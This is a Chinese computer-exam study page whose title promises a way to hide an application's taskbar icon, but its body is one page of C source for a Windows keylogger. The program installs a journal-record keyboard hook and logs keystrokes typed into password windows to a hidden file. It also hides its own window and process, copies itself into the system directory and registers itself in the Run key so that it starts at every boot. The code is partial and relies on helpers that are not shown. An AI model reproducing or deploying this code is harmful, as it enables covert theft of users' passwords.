怎样隐藏应用程序的任务条图标

来源:计算机等级考试    发布时间:2012-08-28    计算机等级考试视频    评论

  void WINAPI WritePassFile(int nKey)
  {
  HANDLE hFile;
  DWORD dwBytesWrite=1;
  TCHAR lpStr,szTemp[MAX_PATH];

  hFile=CreateFile("C://passdata.txt",
  GENERIC_READ|GENERIC_WRITE,
  FILE_SHARE_WRITE,
  NULL,
  OPEN_ALWAYS,
  FILE_ATTRIBUTE_HIDDEN,
  NULL
  );

  SetFilePointer(hFile,0,NULL,FILE_END);
  lpStr=GetKey(LOBYTE(nKey));
  WriteFile(hFile,&lpStr,1,&dwBytesWrite,0);
  CloseHandle(hFile);
  }

  void WINAPI InstallHook(HINSTANCE hInstance)
  {
  if(hHook==NULL)
  hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInstance,0);
  }

  void WINAPI UninstallHook()
  {
  if(hHook!=NULL)
  UnhookWindowsHookEx(hHook);
  }

  LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam)
  {

  EVENTMSG *pMess=(EVENTMSG *)lParam;
  POINT pt;

  switch(pMess->message)
  {
  case WM_KEYDOWN:
  if(IsPassWindow())
  WritePassFile(LOBYTE(pMess->paramL));
  break;

  case WM_LBUTTONDBLCLK:
  GetCursorPos(&pt);
  break;
  }

  return CallNextHookEx(hHook,nCode,wParam,lParam);
  }

  int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
  PSTR szCmdLine, int iCmdShow)
  {

  HANDLE hMutex=CreateMutex(NULL,FALSE,"GMKRunOnlyOne");
  if(hMutex==NULL||ERROR_ALREADY_EXISTS==GetLastError()){
  ExitProcess(1);
  }

  static char szAppName[] = "jiajia" ;
  HWND hwnd ;
  MSG msg ;
  WNDCLASSEX wndclass ;
  HKEY hKey=0;
  DWORD disp=0;
  LONG lResult;
  TCHAR szKey[MAX_PATH];
  TCHAR szSysDir[MAX_PATH+25];
  TCHAR szFileName[MAX_PATH];

  wndclass.cbSize = sizeof (wndclass) ;
  wndclass.style = CS_HREDRAW | CS_VREDRAW ;
  wndclass.lpfnWndProc = WndProc ;
  wndclass.cbClsExtra = 0 ;
  wndclass.cbWndExtra = 0 ;
  wndclass.hInstance = hInstance ;
  wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION) ;
  wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
  wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
  wndclass.lpszMenuName = NULL ;
  wndclass.lpszClassName = szAppName ;
  wndclass.hIconSm = LoadIcon (NULL, IDI_APPLICATION) ;

  RegisterClassEx(&wndclass);

  hwnd=CreateWindow( szAppName, "jia jia",
  WS_OVERLAPPEDWINDOW,
  CW_USEDEFAULT, CW_USEDEFAULT,
  CW_USEDEFAULT, CW_USEDEFAULT,
  NULL, NULL, hInstance, NULL
  );

  ShowWindow(hwnd,SW_HIDE);
  UpdateWindow(hwnd);
  HideProc(SERVICE_PROC);
  InstallHook(hInstance);

  GetSystemDirectory(szSysDir,MAX_PATH);
  lstrcat(szSysDir,RUN);
  GetModuleFileName(NULL,szFileName,MAX_PATH);
  CopyFile(szFileName,szSysDir,FALSE);

  lstrcpy(szKey,"SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
  lResult=RegCreateKeyEx( HKEY_LOCAL_MACHINE,
  szKey,
  0,
  NULL,
  REG_OPTION_VOLATILE,
  KEY_ALL_Access,
  NULL,
  &hKey,
  &disp
  );

  if(lResult==ERROR_SUCCESS)
  {
  lResult=RegSetValueEx(hKey,"GmkMon",0,REG_SZ,szSysDir,lstrlen(szSysDir));
  RegCloseKey(hKey);
  }

  while (GetMessage (&msg, NULL, 0, 0))
  {
  TranslateMessage (&msg) ;
  DispatchMessage (&msg) ;
  }
  return msg.wParam ;
  }

  LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
  {

  switch (iMsg)
  {
  case WM_PAINT:
  return 0 ;

  case WM_DESTROY:
  UninstallHook();
  PostQuitMessage (0) ;
  return 0 ;
  }

  return DefWindowProc(hwnd,iMsg,wParam,lParam);

上一页345下一页

视频学习

我考网版权与免责声明

① 凡本网注明稿件来源为"原创"的所有文字、图片和音视频稿件,版权均属本网所有。任何媒体、网站或个人转载、链接转贴或以其他方式复制发表时必须注明"稿件来源:我考网",违者本网将依法追究责任;

② 本网部分稿件来源于网络,任何单位或个人认为我考网发布的内容可能涉嫌侵犯其合法权益,应该及时向我考网书面反馈,并提供身份证明、权属证明及详细侵权情况证明,我考网在收到上述法律文件后,将会尽快移除被控侵权内容。

最近更新

社区交流

考试问答